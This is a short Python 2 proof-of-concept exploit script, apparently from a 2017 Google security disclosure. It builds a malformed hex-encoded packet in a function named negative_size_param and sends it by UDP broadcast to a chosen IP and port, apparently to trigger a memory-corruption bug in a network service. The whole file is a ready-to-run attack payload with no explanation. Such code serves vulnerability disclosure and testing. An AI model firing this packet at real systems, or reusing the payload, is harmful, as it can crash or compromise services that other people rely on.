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#!/usr/bin/python
#
# Copyright 2017 Google Inc
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# Authors:
# Fermin J. Serna <fjserna@google.com>
# Felix Wilhelm <fwilhelm@google.com>
# Gabriel Campana <gbrl@google.com>
# Kevin Hamacher <hamacher@google.com>
# Gynvael Coldwin <gynvael@google.com>
# Ron Bowes - Xoogler :/
import socket
import sys
def negative_size_param():
data = '''00 00 00 00 00 00 00 00 00 00 00 04
00 00 29 00 00 3a 00 00 00 01 13 fe 32 01 13 79
00 00 00 00 00 00 00 01 00 00 00 61 00 08 08 08
08 08 08 08 08 08 08 08 08 08 08 00 00 00 00 00
00 00 00 6f 29 fb ff ff ff 00 00 00 00 00 00 00
00 00 03 00 00 00 00 00 00 00 00 02 8d 00 00 00
f9 00 00 00 00 00 00 00 00 00 00 00 5c 00 00 00
01 ff ff 00 35 13 01 0d 06 1b 00 00 00 00 00 00
00 00 00 00 00 04 00 00 29 00 00 3a 00 00 00 01
13 00 08 01 00 00 00 00 00 00 01 00 00 00 61 00
08 08 08 08 08 08 08 08 08 13 08 08 08 00 00 00
00 00 00 00 00 00 6f 29 fb ff ff ff 00 29 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 02 8d 00 00 00 f9 00 00 00 00 00 00 00 00
00 00 00 00 00 01 00 00 00 00 00 00 01 ff ff 00
35 13 00 00 00 00 00 b6 00 00 13 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 61 05
01 20 00 01
'''.replace(' ', '').replace('\n', '').decode('hex')
return data
if __name__ == '__main__':
if len(sys.argv) != 3:
print 'Usage: %s <ip> <port>' % sys.argv[0]
sys.exit(0)
ip = sys.argv[1]
port = int(sys.argv[2])
packet = negative_size_param()
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.setsockopt(socket.SOL_SOCKET,socket.SO_BROADCAST, 1)
s.sendto(packet, (ip, port))
s.close()